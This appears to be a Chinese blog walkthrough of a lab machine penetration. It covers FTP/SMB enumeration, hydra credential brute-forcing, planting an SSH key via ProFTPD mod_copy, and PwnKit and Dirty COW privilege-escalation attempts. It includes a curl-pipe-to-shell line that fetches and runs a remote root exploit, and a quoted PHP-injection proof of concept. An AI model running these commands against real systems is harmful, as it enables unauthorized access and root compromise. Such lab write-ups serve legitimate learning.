李乐意的博客

tags:
@ 01/01/0001

端口扫描

image-20250928103623723

21和2121端口ftp服务存在匿名登录。anonymous

image-20250928104205295

服务探测

image-20250927223304747

80端口下,一个外部链接,很简单。目录爆破下。

image-20250927223504053

image-20250928104426746

那个一个凭据rootrootl

SSH 服务探测

image-20250929154009171

不能直接使用账号密码登录。

FTP 服务探测

anonymous:anonymous

ftp 192.168.30.146

2121端口。

ftp 192.168.30.146 

image-20250929110453293

服务器在被动模式下打开的随机数据端口被防火墙或路由规则阻止了

回到21端口。

发现一个pub目录,下载到本地。如果是单个文件可以用get,但是目录的话可以用megt。

mget下载

ftp登录后。看一下有哪些命令。

help
mget pub/*

wget下载目录文件

# wget
wget -r --ftp-user=用户名 --ftp-password=密码 ftp://FTP服务器地址/远程目录名/
  • -r (or --recursive): 启用递归下载,这是下载整个目录的关键。
  • --no-parent: 确保它不会爬到父目录中去,只下载指定目录及其子目录的内容。
wget -r --no-parent --ftp-user=anonymous --ftp-password=anonymous ftp://192.168.30.146/pub/

lftp命令下载

lftp 是一个功能更强大的 FTP 客户端,它提供了 mirror 命令,可以轻松实现递归下载。如果您的系统安装了 lftp,这是非常高效的方法。

lftp -u 用户名,密码 FTP服务器地址
  1. 连接到 FTP 服务器:

    Bash

    lftp -u 用户名,密码 FTP服务器地址
    

    (或者先输入 lftp FTP服务器地址,再用 user 用户名 密码 登录)

  2. 执行递归下载(镜像):

    Bash

    mirror /远程目录名 /本地目标路径
    

示例:

Bash

# lftp 命令行
lftp -u myuser,mypass 192.168.1.100
lftp 192.168.1.100:~> mirror /remote/files /home/localuser/downloads/
lftp 192.168.1.100:~> bye
  • mirror 命令会自动下载远程目录下的所有文件和子目录,并保持本地目录结构与远程一致。

查看目录信息。

tree -a 192.168.30.146

image-20250929110725500

smb服务

smb服务探测

使用nmap探测

nmap -p 445 -sV 192.168.30.146

image-20250929143323195

确定是Samba版本。

Nmap 自带许多用于 SMB 枚举的脚本,无需凭据即可运行:

NSE 脚本 目的 示例命令
smb-enum-shares 枚举共享。尝试列出目标系统上的所有共享目录,包括匿名共享。 nmap -p 445 --script smb-enum-shares <目标IP>
smb-enum-users 枚举用户。尝试列出目标系统上的用户账号,但很多现代 Windows 系统默认禁用此功能。 nmap -p 445 --script smb-enum-users <目标IP>
smb-os-discovery OS 发现。获取关于操作系统的详细信息,包括域名/工作组、计算机名称、系统时间等。 nmap -p 445 --script smb-os-discovery <目标IP>
smb-security-mode 安全模式。检查 SMB 签名是否开启,并报告 SMB 版本。 nmap -p 445 --script smb-security-mode <目标IP>
# 枚举共享目录
nmap --min-rate 10000 -p 445 --script smb-enum-shares 192.168.30.146 -oA scan/smbshares
# 枚举用户
nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers
# OS发现
nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos
# 安全模式
nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu

使用smbclient探测

smbclient -L 192.168.30.146 -N
# -L: 列出服务 (List)
# -N: 不使用密码 (No password)

image-20250929145006963

这是目标服务器上公开或至少对匿名用户可见的共享目录(Sharename)和服务的列表:

Sharename Type Comment 解释
print$ Disk Printer Drivers 用于存储打印机驱动程序的管理共享,通常是默认共享。
smbdata Disk smbdata 一个普通的文件共享。 这很可能包含用户数据或系统文件,是渗透测试中重点关注的目标。
smbuser Disk smbuser 另一个普通的文件共享。 这也可能是包含有用信息的目标。
IPC$ IPC IPC Service (Samba 4.9.1) 进程间通信 (IPC) 共享。 这是一个默认的隐藏管理共享,用于远程管理和程序通信。它同时暴露了服务器正在运行 Samba 4.9.1 版本。

使用enum4linux (专用枚举工具)

enum4linux 是一个自动化脚本,专门用于在 Linux/Kali 上执行多种 SMB 和 NetBIOS 枚举技术。

核心功能

这个工具整合了多种技术来获取以下信息:

  • 用户列表
  • 组列表
  • 共享列表
  • 密码策略信息
enum4linux 192.168.30.146

探测流程总结

nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos
nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu
# 列出共享目录
smbclient -L 192.168.30.146 -N
# 枚举用户
nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers
# 连接服务

smb服务连接

使用smbclient

smbclient //服务器IP或名称/共享名 -U 用户名
# 需要密码
smbclient //192.168.30.146/myshare -U myuser
# 匿名访问
smbclient //192.168.30.146/myshare -N # 或 -U %

匿名用户虽然可以登录,但是无权访问。

image-20250929150001423

使用smbuser(该用户名在nmap的用户枚举脚本中发现)。

smbclient //192.168.30.146/smbdata -U smbuser
smbclient //192.168.30.146/smbdata -N 

需要密码,尝试上面发现的凭据rootrootl。失败。

那么smb服务这一块就剩下匿名登录可以访问的smbdata目录了。

查看目录详细内容。

exit
# 退出smb服务到本地
mkdir smb
cd smb
# 在当前目录进入smb服务
smbclient //192.168.30.146 -N 

# mget所有文件,mget只能下载文件,会逃过目录
mget *
# 每个都yes

使用mount挂载

使用mount挂载则可以看到目录和文件。但是挂载失败,因为用户身份。

# 创建挂载点
mkdir smb_mnt
# 匿名身份
sudo mount -t cifs //192.168.30.146/smbdata ./smb_mnt -o username=guest,password=
# 卸载挂载点
sudo umount /mnt/smb_share

回到我们一个个下载的目录下。

image-20250929154111175

暂时没发现有用信息,ssh_config文件中可以看到确实只能通过ssh证书登录。

image-20250929155027264

撞库

燃尽了,这里整理账号密码。

root
smbuser
rootrootl

除了ssh和nfs和smb,就只有ftp了。

hydra -L user.txt -P password.txt ftp://192.168.30.146

燃尽了。失败了。我不理解。原来是密码输错了。1``l

rootroot1
hydra -L user.txt -P password.txt ftp://192.168.30.146
hydra -L user.txt -P password.txt ftp://192.168.30.146 -s 2121

image-20250929160248216

两个ftp端口都成功。

登录ftp

ftp 192.168.30.146

image-20250929160428552

连接的是smbuser用户的家目录位置。

登录2121端口的ftp服务

ftp 192.168.30.146

image-20250929165803463

使用的ProFTPD 1.3.5服务。ProFTPD 1.3.5 版本存在一个著名的漏洞:mod_copy 模块的任意文件复制和远程命令执行漏洞

SSH密钥登录

上传公钥

根据ssh_config中的配置。

image-20250929161102300

我们只需在该用户家目录下创建.ssh/authorized_keys路径就可以。

先在kali生成密钥对。

在现代系统中,Ed25519 是推荐的密钥类型,因为它更快、更安全且密钥更短。如果兼容性是首要考虑,则使用 RSA。

密钥类型 推荐命令 密钥大小/效率
Ed25519 (推荐) ssh-keygen -t ed25519 256 位,非常快,安全性高。
RSA (通用) ssh-keygen -t rsa -b 4096 4096 位(推荐长度),兼容性最好。
ssh-keygen -t ed25519 -C "kali-smbuser" -f ./authorized_keys

回车回车。

image-20250929161845621

一个私钥,一个公钥。我们把公钥上传。

ftp 192.168.30.146

image-20250929162328143

使用私钥登录

ssh -i authorized_keys smbuser@192.168.30.146

登录成功。

image-20250929162512716

提权

image-20250929162650091

非常典型的。

polkit的PwnKit提权

cve-2021-4034

https://github.com/ly4k/PwnKit

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

没成功。

ProFTPD 1.3.5 mod_copy漏洞

searchploit ProFTPD

image-20250929180853426

上面几个用来打点。我们看一下这个复制漏洞教程。

Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
Connected to 80.150.216.115.                                                                                                                                                  [0/727]
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
nc 192.168.30.146 2121
site cpfr .ssh/authorized_keys
site cpto /home/smbuser/.ssh/authorized_keys 

image-20250929182756473

这组命令利用了标准的 FTP 协议和您之前提到过的 ProFTPD mod_copy 漏洞所引入的扩展命令(SITE CPFRSITE CPTO)的思想,来在服务器内部复制文件。

命令 协议/工具 作用
nc 192.168.30.146 2121 Netcat (nc) 建立连接: 使用 Netcat 工具连接到目标 IP 192.168.30.1462121 端口。如果 2121 端口上运行的是 FTP 服务,那么您已经建立了原始的 TCP 连接,等待输入 FTP 命令。
site cpfr .ssh/authorized_keys FTP 扩展 (mod_copy) 复制源文件 (Copy From): 通知 FTP 服务器,您希望将位于服务器文件系统上的文件 .ssh/authorized_keys 作为复制操作的源文件。
site cpto /home/smbuser/.ssh/authorized_keys FTP 扩展 (mod_copy) 复制目标文件 (Copy To): 通知 FTP 服务器,您希望将源文件复制到目标位置 /home/smbuser/.ssh/authorized_keys

重新登录ssh。

ssh smbdata@192.168.30.146
su root

image-20250929183204562

到这里才发现,原来提权直接。

su root
rootroot1就可以了

内核提权

uname -a
Linux fileserver 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

这个内核版本 3.10.0-229.el7.x86_64 是非常老旧的,存在着多个已知的、可利用的内核漏洞,可以实现本地提权到 root

优先级最高的内核提权漏洞

1. 脏牛 (Dirty Cow) - CVE-2016-5195

  • 漏洞类型: 竞争条件漏洞(Race Condition),存在于 Linux 内核的内存子系统中的写时复制(Copy-on-Write, COW)机制。
  • 影响范围: Linux Kernel >= 2.6.22 版本(2007 年)到 2016 年 10 月底。您的 3.10.0-229.el7.x86_64 肯定在这个范围内。
  • 利用难度: 低到中等。已公开的 Exploit 非常稳定可靠。
  • 效果: 允许本地低权限用户修改只有 root 用户可写的文件。典型的利用方式是修改 /etc/passwd 文件,插入一个具有 root 权限的后门用户,或修改一个现有用户的密码。

如何利用 (简要步骤):

  1. 上传 Exploit: 将 Dirty Cow 的 C 语言 Exploit 代码上传到目标机器(如果目标机器可以访问互联网,也可以直接用 wget)。

  2. 编译: 在目标机器上用 gcc 编译 Exploit。

Bash

gcc -pthread dirty.c -o dirty -lcrypt
  1. 运行: 运行 Exploit 来修改一个文件(例如 /etc/passwd)。
  • 目标: 将一个新的用户条目(例如用户名为 firefart,密码为 firefart)写入 /etc/passwd
  • 执行后: 使用新创建的账户和密码即可 sussh 登录为 root

2. PwnKit (Polkit Local Privilege Escalation) - CVE-2021-4034

  • 漏洞类型: 内存损坏漏洞,存在于 Polkit 的 pkexec 程序中。
  • 影响范围: 这是一个影响几乎所有主要 Linux 发行版超过 12 年的漏洞。
  • 与内核的关系: 虽然 PwnKit 是一个用户空间程序漏洞 (SUID 二进制文件 pkexec),但由于它影响非常广泛,您的系统很可能受到影响
  • 利用难度: 低。Exploit 稳定可靠。
  • 效果: 允许任何非特权本地用户通过执行一个简单的命令立即获得完整的 root 权限。

如何检查和利用 (简要步骤):

  1. 检查 pkexec 您已经在列表中提到它:/usr/bin/pkexec

  2. 上传 Exploit: 将 PwnKit 的 C 语言 Exploit 代码上传到目标机器。

  3. 编译并运行:

Bash

gcc pwnkit.c -o pwnkit
./pwnkit

如果 Exploit 成功,您将获得一个 root Shell。


其他可能适用的漏洞

由于您使用的是 3.10.0-229.el7 这个非常早期的 RHEL 7 内核,还有很多其他漏洞可能适用,但可靠性可能不如 Dirty Cow:

  • CVE-2016-8655 (AF_PACKET / Raw Sockets): 另一个竞争条件漏洞,允许本地用户执行任意代码并获得 root 权限。
  • CVE-2017-1000253 (Stack Clash): 堆栈冲突漏洞,可以被用来提权,但 Exploit 相对复杂且稳定性一般。

建议:

  1. 优先尝试 pkexec (PwnKit),因为您之前枚举了它,且它与内核版本无关,非常通用。

  2. 其次尝试 Dirty Cow,它对您这个老旧的内核版本几乎是必杀技。

  3. 如果前两者失败,再考虑寻找针对您特定内核的 Exploit。 您可以使用 searchsploit 工具在本地 Exploit-DB 数据库中搜索:

Bash

# 在您的 Kali 或攻击机上运行
searchsploit 3.10.0-229

脏牛(Dirty Cow) - CVE-2016-5195

https://github.com/firefart/dirtycow

wget https://github.com/firefart/dirtycow/blob/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
./dirty my-new-password

这个编译报错。换一个。

https://www.exploit-db.com/exploits/40847

https://www.exploit-db.com/exploits/40839

都失败了。